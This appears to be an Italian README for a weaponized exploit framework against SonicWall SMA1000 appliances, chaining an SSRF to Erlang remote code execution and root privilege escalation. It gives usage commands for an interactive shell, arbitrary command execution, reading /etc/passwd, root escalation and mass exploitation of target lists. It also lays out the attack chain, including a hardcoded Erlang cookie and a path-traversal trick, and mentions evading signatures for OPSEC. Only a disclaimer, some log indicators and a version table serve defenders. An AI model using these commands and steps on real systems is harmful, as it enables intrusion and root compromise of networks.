
Framework multi-exploit per SonicWall SMA1000 che concatena SSRF (CVE-2026-15409) a Erlang RCE e escalation di privilegi di root (CVE-2026-15410). Include shell interattiva, scansione batch, operazioni su file e modalità di rilevamento sicura per test di penetrazione autorizzati.

Framework di Exploit e Strumento di Rilevamento Sicuro
Solo per test di sicurezza autorizzati.
Questo strumento è fornito esclusivamente a scopo educativo e per test di penetrazione autorizzati.
Gli autori e i collaboratori non sono responsabili per qualsiasi uso improprio o danno causato da questo software. Gli utenti sono gli unici responsabili di aver ottenuto esplicita autorizzazione scritta dal proprietario del target prima di effettuare test. L'accesso non autorizzato a sistemi informatici è illegale ai sensi del Computer Fraud and Abuse Act (CFAA) e di leggi simili in tutto il mondo.
Utilizzando questo software, accetti di:
⚠️ AVVISO: Questa vulnerabilità è attivamente sfruttata in natura. L'uso non autorizzato può comportare gravi conseguenze legali.
CVE-2026-15409 è una vulnerabilità critica di Server-Side Request Forgery (SSRF) non autenticata scoperta nell'interfaccia Work Place del SonicWall SMA1000 Appliance.
Come funziona:
wsproxy.os:cmd/1.Fatti Chiave:
exploit.py)L'exploit completamente weaponizzato concatena CVE-2026-15409 e CVE-2026-15410 per ottenere una compromissione a livello di root.
pip (per la libreria requests)pip install -r requirements.txt
requests è necessario solo per la funzionalità --detect.# Shell interattiva sul target
python exploit.py -u 192.168.1.100
# Esegui un singolo comando
python exploit.py -u 192.168.1.100 --exec "id && whoami"
# Leggi un file
python exploit.py -u 192.168.1.100 --read-file /etc/passwd
# Attiva il rilevamento SSRF prima dello sfruttamento
python exploit.py -u 192.168.1.100 --detect
# Tenta il privesc a root
python exploit.py -u 192.168.1.100 --privesc
# Sfruttamento massivo da file (50 thread)
python exploit.py -l targets.txt -m 50 --exec "uname -a"
# Porta e percorso personalizzati
python exploit.py -u 10.0.0.5 -p 8443 --path /workplace
# Modalità pipe (legge comando da stdin)
echo "cat /etc/hosts" | python exploit.py -u 192.168.1.100
# Scansione singolo target
python checker.py https://192.168.1.100
# Porta e percorso personalizzati
python checker.py 192.168.1.100 --port 8443 --path /workplace
# Scansione massiva da file
python checker.py --list targets.txt
⚠️ Importante: Queste vulnerabilità non interessano i firewall SonicWall (SSL-VPN) né la serie SMA 100.
L'endpoint wsproxy sulla porta 443 accetta un parametro bmID che inizia con -3389 e una specifica host:port. Puntando host=127.0.0.1 e port=1050, gli attaccanti possono attraversare il tunnel verso il servizio di distribuzione Erlang interno.
Il nodo Erlang utilizza un cookie predefinito hardcoded: 10ecad5b446e86864832904cd439b6b70262. Ciò consente l'autenticazione remota e l'esecuzione di qualsiasi chiamata os:cmd/1.
Una volta autenticato, l'exploit scrive uno script shell in /var/tmp/ e attiva l'endpoint XML-RPC remove_hotfix dell'AMC con un path traversal (../../../../var/tmp/script.sh), eseguendo lo script come root.
SonicWall raccomanda di verificare:
extraweb_access.log per /__api__/login o /__api__/logout (stato 200)extraweb_access.log per /wsproxy con parametri host sospetti (stato 101)ctrl-service.log per rollback di hotfix con path traversal/var/lib/unit/conf.json contenente route per /__api__/login o /__api__/logout| Funzionalità | Descrizione |
|---|
| 🚀 SSRF → Erlang RPC | Attraversa automaticamente wsproxy per raggiungere nodi Erlang interni. |
| 💻 Esecuzione Remota di Codice | Esegue comandi OS arbitrari tramite os:cmd/1. |
| 🔐 Shell Interattiva | Avvia una shell live con supporto per i comandi privesc e download. |
| 👑 Privesc a Root | Sfrutta CVE-2026-15410 per elevare a root utilizzando il path traversal dell'AMC. |
| 📁 Operazioni sui File | Legge e scrive file sul sistema target. |
| 🌐 Scansione Batch | Sfrutta massivamente più target con threading (flag -l). |
| 🎯 Rilevamento SSRF | Flag opzionale --detect per verifica sicura della vulnerabilità. |
| ⚙️ Personalizzabile | Sovrascrivi WebSocket URL, Origin, User-Agent, Cookie e altro. |
| 🧩 Nessuna Dipendenza Aggiuntiva | Utilizza solo la libreria standard di Python (eccetto requests opzionale per il rilevamento). |
| 🔌 Implementazione WebSocket Grezza | Nessuna libreria WebSocket esterna — handshake personalizzato a livello socket evita impronte firma specifiche di librerie per una migliore OPSEC. |
| Prodotto | Versioni Vulnerabili | Versioni Corrette |
|---|
| SMA 6210 | 12.4.3-03245, 12.4.3-03387, 12.4.3-03434 12.5.0-02283, 12.5.0-02624, 12.5.0-02800 | 12.4.3-03453+ 12.5.0-02835+ |
| SMA 7210 | Come sopra | Come sopra |
| SMA 8200v | Come sopra | Come sopra |